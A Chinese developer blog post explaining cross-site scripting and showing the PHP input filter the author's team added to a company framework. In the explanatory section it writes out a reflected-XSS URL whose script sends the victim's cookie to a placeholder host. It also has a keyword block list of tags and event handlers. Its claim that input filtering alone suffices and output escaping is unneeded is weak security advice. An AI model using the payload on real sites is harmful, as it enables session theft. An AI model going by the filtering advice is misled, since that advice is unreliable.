xss安全漏洞分析以及项目实施解决方案

近期公司项目正好被检查出xss漏洞,一直以来其实都知道xss漏洞,不过并没有实际去写过,正好这两天处理了xss漏洞,下面来说一说xss漏洞相关的知识,以及我在项目中如何去解决xss漏洞。

引言:

由于web前端的高速发展,现在的web应用都会使用大量的动态内容和动态交互来提高用户的使用体验,那么,动态内容会根据用户的环境来输出相应的内容。在这个内容上,就会受到“跨站脚本攻击”(Cross Site Scripting,缩写为XSS)的威胁。

xss是什么

xss是一种常见的web安全漏洞,它允许攻击者将恶意代码植入到提供其他用户使用的页面中,不同于大部分攻击,xss涉及到三方,攻击者、客户端与web应用,xss攻击目标是为了盗取存在客户端的cookie或其它网站用户识别客户端身份的敏感信息,一单获取到合法用户信息,攻击者甚至可以假冒合法用户和网站进行交互。

xss分类:

  • 存储型xss,主要让用户输入数据,其他用户浏览查看的地方,例如留言,评论、博客、日志等表单。
  • 反射型xss,主要将脚本代码加入url地址参数,参数再程序后直接输入,用户点击类似链接可能受到攻击

xss目前的主要手段和目的如下:

  • 盗用cookie,获取敏感信息。
  • 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击者)用户的身份执行一些管理动作,或执行一些如:发微博、加好友、发私信等常规操作,前段时间新浪微博就遭遇过一次XSS。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果

xss原理

Web应用未对用户提交请求的数据做充分的检查过滤,允许用户在提交的数据中掺入HTML代码(最主要的是“>”、“<”),并将未经转义的恶意代码输出到第三方用户的浏览器解释执行,是导致XSS漏洞的产生原因。

接下来以反射性XSS举例说明XSS的过程:现在有一个网站,根据参数输出用户的名称,例如访问url:http://127.0.0.1/?name=astaxie,就会在浏览器输出如下信息:

1
hello astaxie

如果我们传递这样的url:http://127.0.0.1/?name=&#60;script&#62;alert(&#39;astaxie,xss&#39;)&#60;/script&#62;,这时你就会发现浏览器跳出一个弹出框,这说明站点已经存在了XSS漏洞。那么恶意用户是如何盗取Cookie的呢?与上类似,如下这样的url:http://127.0.0.1/?name=&#60;script&#62;document.location.href='http://www.xxx.com/cookie?'+document.cookie&#60;/script&#62;,这样就可以把当前的cookie发送到指定的站点:www.xxx.com。你也许会说,这样的URL一看就有问题,怎么会有人点击?,是的,这类的URL会让人怀疑,但如果使用短网址服务将之缩短,你还看得出来么?攻击者将缩短过后的url通过某些途径传播开来,不明真相的用户一旦点击了这样的url,相应cookie数据就会被发送事先设定好的站点,这样子就盗得了用户的cookie信息,然后就可以利用Websleuth之类的工具来检查是否能盗取那个用户的账户。更多xss分析可看《[新浪微博XSS事件分析](http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)》

广告彩铃平台的xss漏洞

在我们的admin系统中,由于使用的spring.php框架过于陈旧,没有使用xss过滤,所以在系统多处均有xss漏洞,而在dsp系统中,spring.php框架提供了xss过滤功能,但是在使用中发现由于场景的需要,有些页面可能需要传递json,不能使用xss过滤,需要将其转换为php数组再将其属性进行xss过滤,但是这部分工作由于开发人员的疏忽,导致xss漏洞的存在,通过绿盟的扫描,我们及时对这种漏洞进行修复。

1.1 修复思路

根据xss的分类,我们实际可以知晓我们应当在用户输入至后台和前端网站输出内容两处做防护即可,那么在广告平台中,我们在用户输入出进行防护。ok,进入防护主题:

​ 首先我们需要一个在统一拦截器里面对参数进行xss过滤,在spring.php (公司自研发的php框架)框架中使用Request来统一获取由前端进行的web请求传递的参数值,通过对参数值的解析过滤,达到xss的效果,但是我们实际业务在获取参数的时候可能需要不过滤的内容(例如传递json),那么这个时候,我们需要设计两种方案,实现拿到安全的参数或不过滤的参数。

1.2 修复开始

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
class Request extends SingletonBase
{
/**
* 包含所有get请求字段的数组
*/
private static $get = Array();
private static $raw_get = Array();

/**
* 包含所有post请求字段的数组
*/
private static $post = Array();
private static $raw_post = Array();

/**
* 包含所有请求字段的数组
*/
private static $request = Array();
private static $raw_request = Array();

/**
* 客户端访问的ip地址
*/
public static $client_ip = '';

/**
* 上一次访问地址
*/
public static $referer = '';

/**
* 当前访问地址
*/
public static $url = '';

/**
* 获取请求参数
* @param string $name 请求参数名称
*/
public static function params($name = '')
{
if ($name == '')
return self::$request;
$param = self::$request[$name];
if(is_string($param)){
return trim($param);
}
return $param;
}

/**
* 获取表单请求参数
* @param string $name 请求参数名称
*/
public static function form($name = '')
{
if ($name == '')
return self::$post;
return self::$post[$name];
}

/**
* 获取url请求参数
* @param string $name 请求参数名称
*/
public static function query($name = '')
{
if ($name == '')
return self::$get;
return self::$get[$name];
}
/**
* 获取请求参数
* @param string $name 请求参数名称
*/
public static function rawparams($name = '')
{
if ($name == '')
return self::$raw_request;
$param = self::$raw_request[$name];
if(is_string($param)){
return trim($param);
}
return $param;
}

/**
* 获取表单请求参数
* @param string $name 请求参数名称
*/
public static function rawform($name = '')
{
if ($name == '')
return self::$raw_post;
return self::$raw_post[$name];
}

/**
* 获取url请求参数
* @param string $name 请求参数名称
*/
public static function rawquery($name = '')
{
if ($name == '')
return self::$raw_get;
return self::$raw_get[$name];
}

/**
* 获取页面全地址
*/
public static function getFullUrl()
{
$sys_protocal = isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443' ? 'https://' : 'http://';
$php_self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$path_info = isset($_SERVER['PATH_INFO']) ? $_SERVER['PATH_INFO'] : '';
$relate_url = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : $php_self . (isset($_SERVER['QUERY_STRING']) ? '?' . $_SERVER['QUERY_STRING'] : $path_info);
return urlencode($sys_protocal . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '') . $relate_url);
}

/**
* 加载
*/
protected static function oncreate()
{
//对请求参数进行处理
foreach ($_GET as $key => $value)
{
self::$get[$key] = StringUtil::string_remove_xss($value);
self::$raw_get[$key] = $value;
}
foreach ($_POST as $key => $value)
{
self::$post[$key] = StringUtil::string_remove_xss($value);
self::$raw_post[$key] = $value;
}
foreach ($_REQUEST as $key => $value)
{
self::$request[$key] = StringUtil::string_remove_xss($value);
self::$raw_request[$key] = $value;
}

self::$client_ip = $_SERVER['REMOTE_ADDR'];
self::$referer = $_SERVER['HTTP_REFERER'];
self::$url = $_SERVER['REQUEST_URI'];
}
}
Request::create();

通过分析代码,我们可以看到Request在创建的时候会执行它的构造函数onCreate,那么每一次的web请求,均会调用onCreate方法,我们在此处可以对参数值进行筛选过滤,在参数中,我们设定了两种参数,他们都存放着web传递的值,这里我们暂时只举get的例子,self::getself::$raw_get,get用于存放过滤后的内容,raw_get用于存放未过滤的内容,方便我们实际业务的获取。在StringUtil::string_remove_xss($value)方法里面,我们去实际过滤下xss。

方法内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    /**
* 移除数组的xss
* @param $array
* @return mixed
*/
public static function array_remove_xss($array)
{
foreach ($array as $key => $item) {
if (is_array($item)) {
$array[$key] = self::array_remove_xss($item);
} else {
$array[$key] = self::string_remove_xss($item);
}
}
return $array;
}

public static function string_remove_xss($html)
{
if (is_array($html)) {
return self::array_remove_xss($html);
} else if (!is_string($html)) {//如果不是字符串不过滤
return $html;
}
$ra = Array('/([\x00-\x08,\x0b-\x0c,\x0e-\x19])/', '/script/', '/javascript/', '/vbscript/', '/expression/', '/applet/', '/meta/', '/xml/', '/blink/', '/link/', '/style/', '/embed/', '/object/', '/frame/', '/layer/', '/title/', '/bgsound/', '/base/', '/onload/', '/onunload/', '/onchange/', '/onsubmit/', '/onreset/', '/onselect/', '/onblur/', '/onfocus/', '/onabort/', '/onkeydown/', '/onkeypress/', '/onkeyup/', '/onclick/', '/ondblclick/', '/onmousedown/', '/onmousemove/', '/onmouseout/', '/onmouseover/', '/onmouseup/', '/onunload/');
if (!get_magic_quotes_gpc()) //不对magic_quotes_gpc转义过的字符使用addslashes(),避免双重转义。
{
$html = addslashes($html); //给单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)加上反斜线转义
}
$html = preg_replace($ra, '', $html); //删除非打印字符,粗暴式过滤xss可疑字符串
$html = htmlentities($html); //去除 HTML 和 PHP 标记并转换为 HTML 实体
return $html;
}

在筛选过滤中,我们首先对类型进行判断,如果是数组需要进行循环读取属性再调用string_remove_xss方法,

后面几步均有注释说明。

在实际业务使用中,我们只需要使用Request::params()方法获取web网页传递过滤后的值,使用Request::rawparams()方法获取web网页传递过滤的值。至此,xss漏洞的输入点防护解决完毕。

最后

​ 还有一种前端输出数据到网页的过滤模式我们并没有写相关的处理,原因在于我们只需在输入处严格 控制即可,在输出的时候由于网站的安全策略,其他人点击链接是无法直接使用系统。

在现代基于MVVM框架的的SPA(单页应用)不需要刷新url来控制view,这样可以大大防止xss隐患,例如vue.js react.js在设计的时候设计者已经考虑了xss对html插值的攻击,我们使用者只需要熟练正确地使用他们,大部分情况下可以避免xss攻击。